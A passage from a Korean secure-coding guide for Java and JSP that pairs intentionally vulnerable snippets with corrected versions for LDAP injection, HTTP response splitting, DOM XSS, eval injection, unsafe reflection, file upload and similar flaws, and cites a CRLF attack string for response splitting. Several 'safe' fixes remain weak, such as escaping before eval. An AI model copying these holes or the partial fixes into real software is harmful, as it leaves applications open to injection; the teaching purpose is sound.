4:      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
5:      env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
6:      try {
7:              javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8:              Properties props = new Properties();
9:              String fileName = "ldap.properties";
10:             FileInputStream in = new FileInputStream(fileName);
11:
12:             if (in == null || in.available() <= 0) return;
13:             props.load(in);
14:
15:             if (props == null || props.isEmpty()) return;
16:             String name = props.getProperty("name");
17:             if (name == null || "".equals(name)) return;
18:             // 읽어들인 name에 대해서 '*' 문자열을 제거한다.
19:             String filter = "(name =" + name.replaceAll("\\*", "") + ")";
20:             NamingEnumeration answer =
21:                             ctx.search("ou=NewHires", filter, new SearchControls());
22:             printSearchEnumeration(answer);
23:             ctx.close();
24:         } catch (NamingException e) {     ……     }
25:  ……
```

검색을 위한 필터 문자열로 사용되는 외부의 입력에서 위험한 문자열을 제거하여 위험성을 부분적으로 감소시킬 수 있다.

라. 참고 문헌

[1] CWE-90 LDAP 삽입 - http://cwe.mitre.org/data/definitions/90.html

[2] OWASP Top 10 2010 - (OWASP 2010) A1 - Injection

[3] SPI Dynamics. "Web Applications and LDAP Injection".

[4] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

10. LDAP 처리(LDAP Manipulation)

가. 정의

LDAP 질의문이나 결과로 외부 입력이 부분적으로 적절한 처리없이 사용되면 LDAP 질의문이 실행될 때 공격자는 LDAP 질의문의 내용을 마음대로 변경할 수 있다.

나. 안전한 코딩기법

- 외부 입력에 대한 적절한 유효성 검증 후 사용해야 하며, LDAP 사용시 질의문을 제한하여 허용된 레코드만을 접근하도록 하는 접근 제어 기능을 사용해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:      try {
3:              ……
4:              // 외부로 부터 입력을 받는다.
5:              String name = props.getProperty("ldap.properties");
6:              // 입력값에 대한 BasicAttribute를 생성한다.
7:              BasicAttribute attr = new BasicAttribute("name", name);
8:              // 외부 입력값이 LDAP search의 인자로 사용이 된다.
9:              NamingEnumeration answer =
10:                     ctx.search("ou=NewHires", attr.getID(), new SearchControls());
11:             printSearchEnumeration(answer);
12:             ctx.close();
13:     } catch (NamingException e) {     ……     }
14: }
15:
16: public void printSearchEnumeration(NamingEnumeration value) {
17:     try {
18:             while (value.hasMore()) {
19:                     SearchResult    sr = (SearchResult) value.next();
20:                     System.out.println(">>>"    + sr.getName() + "\n" + sr.getAttributes());
21:             }
22:     } catch (NamingException e) {     ……     }
23: ……
```

위의 예제는 외부의 입력(name)이 검색을 위한 base 문자열의 생성에 사용되고 있다. 이 경우 임의의 루트 디렉터리를 지정하여 정보에 접근할 수 있으며, 적절한 접근제어가 동반되지 않을 경우 정보 누출이 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:      try {
3:              ……
4:              // 외부로 부터 입력값을 받는다.
5:              String name = props.getProperty("name");
6:              // 입력값에 대한 검사를 한다.
7:              if (name == null || "".equals(name)) return;
8:              String filter = "(name =" + name.replaceAll("\\*", "") + ")";
9:
10:             // 검증된 입력값을 LDAP search 인자로 사용한다.
11:             NamingEnumeration answer =
12:                     ctx.search("ou=NewHires", filter, new SearchControls());
13:             printSearchEnumeration(answer);
14:             ctx.close();
15:     } catch (NamingException e) {     ……      }
16:  }
17:
18:  public void printSearchEnumeration(NamingEnumeration value) {
19:     try {
20:             while (value.hasMore()) {
21:                     SearchResult sr = (SearchResult) value.next();
22:                     System.out.println(">>>" + sr.getName() + "\n" + sr.getAttributes());
23:             }
24:     } catch (NamingException e) {     ……      }
25:  ……
```

외부 입력에 대한 적절한 유효성 검증 후 사용해야 하며, LDAP 사용시 질의문을 제한하여 허용된 레코드만을 접근하도록 하는 접근 제어 기능을 사용해야 한다.

라. 참고 문헌

[1] CWE-639 사용자 제어 키를 이용한 인증 - http://cwe.mitre.org/data/definitions/639.html
CWE-90 LDAP 삽입 - http://cwe.mitre.org/data/definitions/90.html
CWE-116 출력값의 부적절한 인코딩 또는 이스케이핑 - http://cwe.mitre.org/data/definitions/116.html

[2] OWASP Top 10 2010 - (OWASP 2010) A4 Insecure Direct Object Reference

[3] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

11. 자원 삽입(Resource Injection)

가. 정의

외부의 신뢰할 수 없는 입력이 적절한 검사과정을 거치지 않고 자원(resource) 식별자로 사용될 경우 부적절한 자원 접근이 일어날 수 있다.

나. 안전한 코딩기법

- 외부의 입력을 아무 검증없이 자원 식별자로 사용하지 말고, 외부의 입력에 따라 적합한 리스트(white list)에서 선택되도록 작성한다. 만일, 외부의 입력이 파일명이면 경로 순회를 수행하는 위험한 문자를 제거한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() throws IOException {
3:        int def = 1000;
4:        ServerSocket serverSocket;
5:        Properties props = new Properties();
6:        String fileName = "file_list";
7:        FileInputStream in = new FileInputStream(fileName);
8:        props.load(in);
9:
10:     // 외부에서 입력한 데이터를 받는다.
11:     String service = props.getProperty("Service No");
12:     int port = Integer.parseInt(service);
13:
14:     // 외부에서 입력받은 값으로 소켓을 생성한다.
15:     if (port != 0)
16:           serverSocket = new ServerSocket(port + 3000);
17:     else
18:           serverSocket = new ServerSocket(def + 3000);
19:     ……
20:  }
21:  ……
```

위의 예제는 외부의 입력(service)을 소켓 번호로 그대로 사용하고 있다. 만일, 공격자가 “Service No” 의 값으로 “-2920” 과 같은 값을 지정하면 기존의 80 포트에서 구동되는 서비스와 충돌되어 에러를 야기할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() throws IOException {
3:      ServerSocket serverSocket;
4:      Properties props = new Properties();
5:      String fileName = "file_list";
6:      FileInputStream in = new FileInputStream(fileName);
7:      String service = "";
8:
9:      if (in != null && in.available() > 0) {
10:             props.load(in);
11:             // 외부로부터 데이터를 입력받는다.
12:             service = props.getProperty("Service No");
13:     }
14:     // 외부의 입력을 기본적인 내용 검사를 한다.
15:             if ("".equals(service)) service = "8080";
16:
17:             int port = Integer.parseInt(service);
18:     // 외부 입력에서 포트번호를 검사한 후 리스트에서 적합한 값을 할당한다.
19:     switch (port) {
20:         case 1:
21:             port = 3001; break;
22:         case 2:
23:             port = 3002; break;
24:         case 3:
25:             port = 3003; break;
26:         default:
27:             port = 3000;
28:         }
29:          // 서버소켓에  검사완료된 포트를 할당한다.
30:         serverSocket = new ServerSocket(port);
31:     ……
32:  }
33:  ……
```

외부로부터 소켓 번호와 같은 자원을 직접 받는 것은 바람직하지 않다. 꼭 필요한 경우 가능한 리스트를 설정하고, 해당 범위 내에서 할당되도록 작성한다.

라. 참고 문헌

[1] CWE-99 자원 삽입 - http://cwe.mitre.org/data/definitions/99.html

12. HTTP 응답 분할

(Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting'))

가. 정의

HTTP 요청에 들어 있는 인자값이 HTTP 응답헤더에 포함되어 사용자에게 다시 전달되는 경우 입력값에 CR(Carriage Return)이나 LF(Line Feed)와 같은 개행문자가 존재하면 HTTP 응답이 2개 이상으로 분리될 수 있다. 이 경우 공격자는 개행문자를 이용하여 첫 번째 응답을 종료시키고 두 번째 응답에 악의적인 코드를 주입할 수 있게 되어 공격자는 두 번째 응답을 이용해서 XSS 및 캐시 훼손(cache poisoning) 공격과 같은 것을 시도할 수 있다.

나. 안전한 코딩기법

- 외부에서 입력된 인자값을 사용하여 HTTP 응답헤더(Set Cookie 등)에 포함시킬 경우 CR, LF등이 제거하거나 적절한 인코딩 기법을 사용하여 변환한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U113 extends HttpServlet {
2:      public void doPost(HttpServletRequest request, HttpServletResponse response)
3:                                                  throws IOException, ServletException {
4:          response.setContentType("text/html");
5:          // 사용자의 입력정보를   받아서 쿠키를 생성한다.
6:          String author = request.getParameter("authorName");
7:          Cookie cookie = new Cookie("replidedAuthor", author);
8:          cookie.setMaxAge(1000);
9:          // cookie.setSecure(true); // HTTP로 서비스하는 경우 쿠키 값 설정 안됨(위험)
10:                                    // HTTPS 서비스만 제공하는 경우 사용
11:         ...
12:         // 생성된 쿠키를 브라우저에 전송해 저장하도록 한다.
13:         response.addCookie(cookie);
14:         RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
15:         frd.forward(request, response);
16:     }
17: }
```

위 예제는 외부의 입력값을 사용하여 반환되는 쿠키의 값을 설정하고 있다. 그런데, 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n"를 authorName의 값으로 설정할 경우, 아래의 예와 같이 의도하지 않은 두개의 페이지가 전달된다. 또한 두번째 응답 페이지는 공격자가 마음대로 수정 가능하다.

(예 : HTTP/1.1 200 OK...Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK...)

■ 안전한 코드의 예 - JAVA

```
1:  public class S113 extends HttpServlet {
2:      public void doPost(HttpServletRequest request, HttpServletResponse response)
3:                                                  throws IOException, ServletException {
4:          response.setContentType("text/html");
5:
6:          // 사용자 정보를 읽어온다.
7:          String author = request.getParameter("authorName");
8:          if (author == null || "".equals(author)) return;
9:
10:         // 헤더값이 두개로 나뉘어지는 것을 방지하기 위해 외부에서 입력되는 \n과 \r
    등을 제거한다.
11:         String filtered_author = author.replaceAll("\r", "").replaceAll("\n",    "");
12:         Cookie cookie = new Cookie("replidedAuthor", filtered_author);
13:         cookie.setMaxAge(1000);
14:         cookie.setSecure(true);
15:
16:         // 생성된 쿠키를 브라우저에 전송해 저장하도록 한다.
17:         response.addCookie(cookie);
18:         RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
19:         frd.forward(request, response);
20:     }
21: }
```

외부에서 입력되는 값에 대하여 Null여부를 체크하고, 두개로 나누어 지는 것을 방지하기 위해 relpaceAll을 이용하여 개행문자(\r, \n)을 제거하여 헤더값이 나누어지는 것을 방지한다.

라. 참고 문헌

[1] CWE-113 HTTP 응답 분할 - http://cwe.mitre.org/data/definitions/113.html
[2] OWASP Top 10 2004 A1 Unvalidated Input
[3] OWASP Top 10 2007 A2 Injection Flaws
[4] Web Application Security Consortium 24 + 2 HTTP Response Splitting

13. 시스템 또는 구성 설정의 외부 제어 (External Control of System or Configuration Setting)

가. 정의

시스템 설정이나 구성요소를 외부에서 제어할 수 있으면 예상치 못한 결과(예: 서비스 중단)를 초래하거나 악용될 가능성이 있다.

나. 안전한 코딩기법

- 외부의 입력을 Connection.setCatalog() 메소드의 인자값을 생성하는데 사용하지 않도록 한다. 불가피하게 사용해야 한다면, 외부의 입력을 화이트 리스트 방식으로 검사한 후 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:          try {
4:              InitialContext ctx = new InitialContext();
5:              DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
6:              Connection con = datasource.getConnection();
7:              Properties props = new Properties();
8:              String fileName = "file.properties";
9:              FileInputStream in = new FileInputStream(fileName);
10:             props.load(in);
11:
12:             // catalog정보는 외부로부터 유입되는 정보
13:             String catalog = props.getProperty("catalog");
14:             // catalog정보를 DB Connection을 위해서 해당 값을 체크하지 않고, DB 카탈
                    로그 정보에 지정함
15:             con.setCatalog(catalog);
16:              con.close();
17:         } catch (SQLException ex) {
18:           System.err.println("SQLException Occured");
19:         } catch (NamingException e) {
20:           System.err.println("NamingException Occured");
21:         } catch (FileNotFoundException e) {
22:           System.err.println("FileNotFoundException Occured");
23:         } catch (IOException e) {
24:           System.err.println("IOException Occured");
25:         }
26:     }
27:  ……
```

외부의 입력(catalog)이 JDBC의 활성화된 카탈로그를 설정하는데 사용되고 있다. 이때 존재하지 않는 카탈로그나 권한이 없는 카탈로그 이름이 전달되면 예외상황을 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      try {
4:          // caltalog 값으로 c1과 c2를 사용할 경우
5:          InitialContext ctx = new InitialContext();
6:          DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
7:          Connection con = datasource.getConnection();
8:
9:          Properties props = new Properties();
10:         String fileName= "file.properties";
11:         String catalog;
12:
13:         FileInputStream in = new FileInputStream(fileName);
14:         if (in != null && in.available() > 0) {
15:             props.load(in);
16:
17:             if (props == null || props.isEmpty()) catalog = "c1";
18:             else
19:                 catalog = props.getProperty("catalog");
20:          } else
21:                 catalog = "c1";
22:
23:         // 외부 유입 변수(catalog)에 대해서 값을 반드시 체크하고 걸러야 한다.
24:         if ("c1".equals(catalog))
25:                 con.setCatalog("c1");
26:         else
27:                 con.setCatalog("c2");
28:         con.close();
29:     } catch (SQLException ex) {
30:         System.err.println("SQLException Occured");
31:     } catch (NamingException e) {
32:         System.err.println("NamingException Occured");
33:     } catch (FileNotFoundException e) {
34:         System.err.println("FileNotFoundException Occured");
35:     } catch (IOException e) {
36:         System.err.println("IOException Occured");
37:     }
38: }
```

외부의 입력값에 따라 카탈로그 이름이 바뀌어야 할 경우에는 해당 문자열을 직접 사용하지 말고, 미리 정의된 적절한 카탈로그 이름 중에 선택하여 사용한다.

라. 참고 문헌

[1] CWE-15 시스템 또는 구성 설정의 외부 제어 - http://cwe.mitre.org/data/definitions/15.html

14. 크로스 사이트 스크립트 공격 취약점: DOM
(Improper Neutralization of Script-Related HTML Tags in a Web Page (DOM))

가. 정의

외부에서 입력되는 스크립트 문자열이 웹페이지 생성에 사용되면 생성된 웹페이지를 열람하는 사용자에게 피해를 입힐 수 있다.

나. 안전한 코딩기법

- JSP의 document.write() 메소드와 같이 JSP의 DOM 객체 출력을 수행하는 메소드의 인자값으로 외부의 입력을 사용할 경우 위험한 문자를 제거하는 과정이 수행되어야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - HTML

```
1:  ……
2:  <%
3:  // 외부로 부터 입력을 받는다.
4:  String name = request.getParameter("name");
5:  %>
6:  <SCRIPT language="javascript">
7:  // 외부의 입력을 그대로 출력한다.
8:  document.write("name:" + <%=name%> );
```

request.getParameter()에서 전달된 외부의 입력(name)이 document.write()의 인자값 생성에 그대로 사용되었다.

■ 안전한 코드의 예 - HTML

```
1:  ……
2:  <%
3:      // 외부의 입력을 받는다.
4:      String name = request.getParameter("name");
5:      // 입력값에 대한 유효성 검사를 한다.
6:      if ( name != null ) {
7:          name = name.replaceAll("<","&lt;");
8:          name = name.replaceAll(">","&gt");
9:      } else {    return;    }
10:  %>
11:  <SCRIPT language="javascript">
12:  // 입력값이 출력된다.
13:  document.write("name:" + <%=name%> );
```

외부의 입력(name)으로부터 “<”와 ">"같이 HTML에서 스크립트 생성에 사용되는 모든 문자열을 "<"와 “>"로 변경한다.

라. 참고 문헌

[1] CWE-79 웹 페이지 구조 보존 실패 - http://cwe.mitre.org/data/definitions/79.html
CWE-80 크로스 사이트 스크립트 공격 취약점(XSS) - http://cwe.mitre.org/data/definitions/80.html

[2] OWASP Top 10 2010 - (OWASP 2010) A2 Cross Site Scripting (XSS)

[3] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 079 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

15. 동적으로 생성되어 수행되는 명령어 삽입
(Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'))

가. 정의

신뢰할 수 없는 외부입력이 적절한 검사과정을 거치지 않고 동적으로 수행되는 스크립트 또는 프로그램 명령어 문자열의 생성에 사용될 경우 의도했던 형태의 입력만 사용되도록 적절히 필터링해야 한다. 그렇지 않으면, 외부의 임의의 입력이 명령어로 사용되어 공격자는 원하는 임의의 작업을 수행할 수 있다.

나. 안전한 코딩기법

- 외부의 입력이 eval() 함수의 인자로 사용될 경우 외부에서 입력되는 JavaScript가 수행되지 않도록 위험문자를 제거해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - HTML

```
1:  <%@page import="org.owasp.esapi.*"%>
2:  <%@page contentType="text/html" pageEncoding="UTF-8"%>
3:  <html>
4:      <head>
5:          <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6:      </head>
7:  <body>
8:      <h1>Eval 취약점 샘플</h1>
9:      <%
10:         String evalParam = request.getparameter("eval");
11:         ……
12:     %>
13:     <script>
14:         eval(<%=evalParam%>);
15:     </script>
16:  </body>
17:  </html>
```

외부 입력(evalParam)을 eval() 함수의 인자로 사용하고 있다. 만약 외부 입력에 javascript로 된 코드가 있다면 이 코드가 eval()에 의해서 수행이 된다.

■ 안전한 코드의 예 - HTML

```
1:  <%@page import="org.owasp.esapi.*"%>
2:  <%@page contentType="text/html" pageEncoding="UTF-8"%>
3:  <html>
4:      <head>
5:          <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6:      </head>
7:  <body>
8:      <h1>Eval 취약점 샘플</h1>
9:      <%
10:     // 외부의 입력값을 받는다.
11:     String evalParam = request.getparameter("eval");
12:     // 입력값에 대한 유효성을 체크한다.
13:     if ( evalParam != null ) {
14:         evalParam = evalParam.replaceAll("<","&lt;");
15:         evalParam = evalParam.replaceAll(">","&gt;");
16:         evalParam = evalParam.replaceAll("&","&amp;");
17:         evalParam = evalParam.replaceAll("(","&#40;");
18:         evalParam = evalParam.replaceAll(")","&#41;");
19:         evalParam = evalParam.replaceAll("\"","&quot;");
20:         evalParam = evalParam.replaceAll("\'","&apos;");
21:     }
22:     ……
23:     %>
24:     <script>
25:         eval(<%=evalParam%>);
18:     </script>
19:  </body>
20:  </html>
```

위와 같이 스크립트를 작성하는데 필요한 문자들(예: <, >, &, \ 등등)을 변경함으로써 외부 입력 코드의 수행을 방지할 수 있다.

라. 참고 문헌

[1] CWE-95 동적으로 생성되어 수행되는 명령어 삽입 - http://cwe.mitre.org/data/definitions/95.html

[2] OWASP Top Ten 2007 Category A3 - Malicious File Execution

[3] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

16. 프로세스 제어(Process Control)

가. 정의

신뢰되지 않은 소스나 신뢰되지 않은 환경으로부터 라이브러리를 적재하거나 명령을 실행하면, 악의적인 코드가 실행될 수 있다.

나. 안전한 코딩기법

- 프로그램 내에서 라이브러리 적재시 절대경로를 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
    {
3:      // 외부 라이브러리를 호출 시 절대 경로가 들어 있지 않다.
4:      Runtime.getRuntime().loadLibrary("libraryName");
5:  }
6:  ……
```

위의 예제는 라이브러리명을 지정할 때 절대 경로를 사용하지 않고 있어서 공격자가 환경변수를 조작하면 다른 라이브러리가 적재될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
    {
3:      // 외부 라이브러리 호출 시 절대 경로를 지정한다.
4:      Runtime.getRuntime().loadLibrary("/usr/lib/libraryName");
5:  }
6:  ……
```

절대 경로를 지정하면 환경 변수에 의하여 라이브러리가 변경되는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-114 프로세스 제어 - http://cwe.mitre.org/data/definitions/114.html

17. 정수 오버플로우(Integer Overflow)

가. 정의

정수형 변수의 오버플로우는 정수값이 증가하면서, Java에서 허용된 가장 큰 값보다 더 커져서 실제 저장되는 값은 의도하지 않게 아주 작은 수이거나 음수가 될 수 있다. 이러한 상황을 검사하지 않고 그 값을 순환문의 조건이나 메모리 할당, 메모리 복사 등에 쓰거나, 그 값에 근거해서 보안 관련 결정을 하면 취약점을 야기할 수 있다.

나. 안전한 코딩기법

- 동적 메모리 할당을 위해서 사용되는 변수가 이전 처리 과정에서 오버플로우에 의해서 음수값으로 변환될 수 있으므로 미리 변수의 값 범위를 검사한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public static void main(String[] args) {
3:      int size = new Integer(args[0]).intValue();
4:      size +=  new Integer(args[1]).intValue();
5:      MyClass[] data = new MyClass[size];
6:  ……
7:
```

위의 예제는 외부의 입력(args[0], args[1])을 이용하여 동적으로 계산한 값을 배열의 크기(size)를 결정하는데 사용하고 있다. 만일 외부 입력으로부터 계산된 값(size)이 오버플로우에 의해 음수값이 되면 배열의 크기가 음수가 되어 코드에 문제 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public static void main(String[] args) {
3:      int size = new Integer(args[0]).intValue();
4:      size +=  new Integer(args[1]).intValue();
5:      // 배열의 크기 값이 음수값이 아닌지 검사한다.
6:      if (size < 0) return ;
7:      MyClass[ ] data = new MyClass[size];
8:  ……
```

동적 메모리 할당을 위해 크기를 사용하는 경우 그 값이 음수가 아닌지 검사하는 문장이 필요하다.

라. 참고 문헌

[1] CWE-190 정수 오버플로우 - http://cwe.mitre.org/data/definitions/190.html

18. 무제한 파일 업로드(Unrestricted Upload of File with Dangerous Type)

가. 정의

운영 환경 내에서 자동으로 처리될 수 있는 위험한 유형의 파일을 공격자가 업로드하거나 전송할 수 있게 허용하면 취약점을 야기할 수 있다.

나. 안전한 코딩기법

- 업로드하는 파일 타입과 크기를 제한하고, 업로드 디렉터리를 웹서버의 다큐먼트 외부에 설정한다.
- 화이트리스트 방식으로 허용된 확장자만 업로드되도록 하고, 확장자도 대소문자 구분 없이 처리하도록 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void upload(HttpServletRequest request) throws ServletException  {
3:      MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
4:      String next = (String) mRequest.getFileNames().next();
5:      MultipartFile file = mRequest.getFile(next);
6:
7:      // MultipartFile로부터 file을 얻음
8:      String fileName = file.getOriginalFilename();
9:
10:     // upload 파일에 대한 확장자, 크기의 유효성 체크를 하지 않음
11:     File uploadDir = new File("/app/webapp/data/upload/notice");
12:     String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
13:
14:     /* 이하 file upload 루틴 */
15:  ……
```

업로드할 파일에 대한 유효성을 검사하지 않으면, 위험한 유형의 파일을 공격자가 업로드하거나 전송할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void upload(HttpServletRequest request) throws ServletException {
3:      MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
4:      String next = (String) mRequest.getFileNames().next();
5:      MultipartFile file = mRequest.getFile(next);
6:      if ( file == null )
7:        return ;
8:
9:      // 업로드 파일 크기를 제한한다.
10:     int size = file.getSize();
11:     if ( size > MAX_FILE_SIZE ) throw new ServletException("에러");
12:
13:     // MultipartFile로 부터 file을 얻음
14:     String fileName = file.getOriginalFilename().toLowerCase();
15:
16:     // 화이트리스트 방식으로 업로드 파일의 확장자를 체크한다.
17:     if ( fileName != null ) {
18:         if ( fileName.endsWith(".doc") || fileName.endsWith(".hwp")
19:             || fileName.endsWith(".pdf") || fileName.endsWith(".xls") ) {
20:             /* file 업로드 루틴 */
21:         }
22:         else   throw new ServletExeption("에러");
23:     }
24:     // 업로드 파일의 디렉터리 위치는 다큐먼트 루트의 밖에 위치시킨다.
25:     File uploadDir = new File("/app/webapp/data/upload/notice");
26:     String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
27:
28:     /* 이하 file upload 루틴 */
29:  ……
```

위의 예제는 업로드 파일의 크기와 위치를 제한하고 있다. 또한 파일의 확장자를 검사하여 허용되지 않은 확장자일 경우 업로드를 제한하고 있다.

라. 참고 문헌

[1] CWE-434 무제한 파일 업로드 - http://cwe.mitre.org/data/definitions/434.html

[2] OWASP Top Ten 2007 A3, Malicious File Execution

[3] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 434 Unrestricted Upload of File with Dangerous Type

19. 안전하지 않은 리플렉션

(Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))

가. 정의

동적 클래스 적재(loading)에 외부의 검증되지 않은 입력을 사용할 경우, 공격자가 외부 입력을 변조하여 의도하지 않은 클래스가 적재되도록 할 수 있다.

나. 안전한 코딩기법

- 외부의 입력을 직접 클래스 이름으로 사용하지 말고, 외부의 입력에 따라 미리 정한 후보(white list) 중에서 적절한 클래스 이름을 선택하도록 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      Properties props = new Properties();
4:      ....
5:      if ( in !=null && in.available() > 0 ) {
6:        props.load(in);
7:        if ( props == null || props.isEmpty() )
8:          return ;
9:      }
10:     String type = props.getProperty("type");
11:     Worker w;
12:
13:     // 외부에서 입력된 type값의 유효성을 검증하지 않고 있다.
14:     try {
15:           Class workClass = Class.forName(type + "Worker");
16:           w = (Worker) workClass.newInstance();
17:           w.doAction();
18:     } catch (ClassNotFoundException e) {     ……     }
19:  ……
20:  }
21:
22:  abstract class Worker {
23:     String work = "";
24:     public abstract void doAction();
25:  }
```

위의 예제는 외부의 입력(type)을 클래스 이름의 일부로 사용하여 객체를 생성하고 있다. 이 경우 공격자가 외부 입력을 변조하여 부적절한 다른 클래스가 적재되도록 할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      Properties props = new Properties();
4:      ....
5:      if ( in !=null && in.available() > 0 ) {
6:        props.load(in);
7:        if ( props == null || props.isEmpty() )
8:          return ;
9:      }
10:     String type = props.getProperty("type");
11:     Worker w;
12:
13:     // 외부 입력되는 값에 대해 유효성을 검증하여야한다.
14:     if (type == null || "".equals(type)) return;
15:     if (type.equals("Slow")) {
16:             w = new SlowWorker();
17:             w.doAction();
18:     } else if (type.equals("Hard")) {
19:             w = new HardWorker();
20:             w.doAction();
21:     } else {
22:             System.err.printf("No propper class name!");
23:     }
24:  ……
25:  }
26:
27:  abstract class Worker {
28:     String work = "";
29:     public abstract void doAction();
30:  }
```

외부의 입력(type)에 따라, 미리 정한 후보(white list) 중에서 적절한 클래스 이름이 설정되도록 함으로써, 외부의 악의적인 입력에 의하여 부적절한 클래스가 사용되는 위험성을 제거할 수 있다.

라. 참고 문헌

[1] CWE-470 안전하지 않은 리플렉션 - http://cwe.mitre.org/data/definitions/470.html

20. 무결성 점검 없는 코드 다운로드 (Download of Code Without Integrity Check)

가. 정의

웹서버에서 수행될 수 있는 위험한 형식의 파일을 원격지로부터 다운로드하여, 코드의 출처나 무결성 검사없이 클라이언트에서 실행하는 경우 공격자가 의도하는 행위를 수행할 수 있다.

나. 안전한 코딩기법

- SW의 자동 업데이트와 같이 다운로드될 코드를 제공할 때는 코드에 대한 암호화된 시그너쳐를 사용하고 클라이언트가 시그너쳐를 검증하도록 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  URL[] classURLs= new URL[]{new URL("file:subdir/")};
2:  URLClassLoader loader = new URLClassLoader(classURLs);
3:  Class loadedClass = Class.forName("MyClass", true, loader);
```

위의 프로그램은 URLClassLoader를 사용하여, 원격의 파일을 다운로드 한다. 다운로드 대상 파일에 대한 무결성 검사를 수행하지 않을 경우, 파일변조 등으로 피해가 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  // 서버에서는 private key를 가지고 MyClass를 암호화한다.
2:  String jarFile = "./download/util.jar";
3:  byte[] loadFile = FileManager.getBytes(jarFile);
4:  loadFile = encrypt(loadFile,privateKey);
5:  // jarFile명으로 암호화된 파일을 생성한다.
6:  FileManager.createFile(loadFile,jarFileName);
7:  ....
8:  // 클라이언트에서는 파일을 다운로드 받을 경우 public key로 복호화 한다.
9:  URL[] classURLs= new URL[]{new URL("http://filesave.com/download/util.jar")};
10:  URLConnection conn=classURLs.openConnection();
11:  InputStream is = conn.getInputStream();
12:  // 입력 스트림을 읽어 서버의 jarFile명으로 파일을 출력한다.
13:  FileOutputStream fos = new FileOutputStream(new File(jarFile));
14:  while ( is.read(buf) != -1 ) {
15:     ...
16:  }
17:  byte[] loadFile = FileManager.getBytes(jarFile);
18:  loadFile = decrypt(loadFile,publicKey);
19:  // 복호화된 파일을 생성한다.
20:  FileManager.createFile(loadFile,jarFile);
21:  URLClassLoader loader = new URLClassLoader(classURLs);
22:  Class loadedClass = Class.forName("MyClass", true, loader);
```

공개키 방식의 암호알고리즘과 메커니즘을 이용하여 전송파일에 대한 시그니처를 생성하고, 파일의 변조유무를 판단한다.

라. 참고 문헌

[1] CWE-494 무결성 점검 없는 코드 다운로드 - http://cwe.mitre.org/data/definitions/494.html

[2] SANS Top 25 Most Dangerous Software Errors, http://www.sans.org/top25-software-errors/

[3] Richard Stanway (r1CH). "Dynamic File Uploads, Security and You

[4] Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28

21. SQL 삽입 공격: Hibernate(SQL Injection: Hibernate)

가. 정의

외부의 신뢰할 수 없는 입력을 적절한 검사 과정을 거치지 않고 Hibernate API의 SQL 질의문 생성을 위한 문자열로 사용하면, 공격자가 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 데이터베이스 명령어가 수행되도록 할 수 있다.

나. 안전한 코딩기법

- 질의문의 생성시 상수 문자열만 사용한다. 외부의 입력에 따라 질의문을 수정해야 한다면 인자를 받는 질의문을 상수 문자열로 생성한 후, 쿼리의 인자값을 setParameter(), set<타입이름>() 등의 메소드를 사용하여 설정한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void listHoney() {
3:      Session session = new Configuration().configure().buildSessionFactory().openSession();
4:      try {
5:              Properties props = new Properties();
6:              String fileName = "Hibernate.properties";
7:              FileInputStream in = new FileInputStream(fileName);
8:              props.load(in);
9:              ……
10:             // 외부로부터 입력을 받음
11:             String idValue = props.getProperty("idLow");
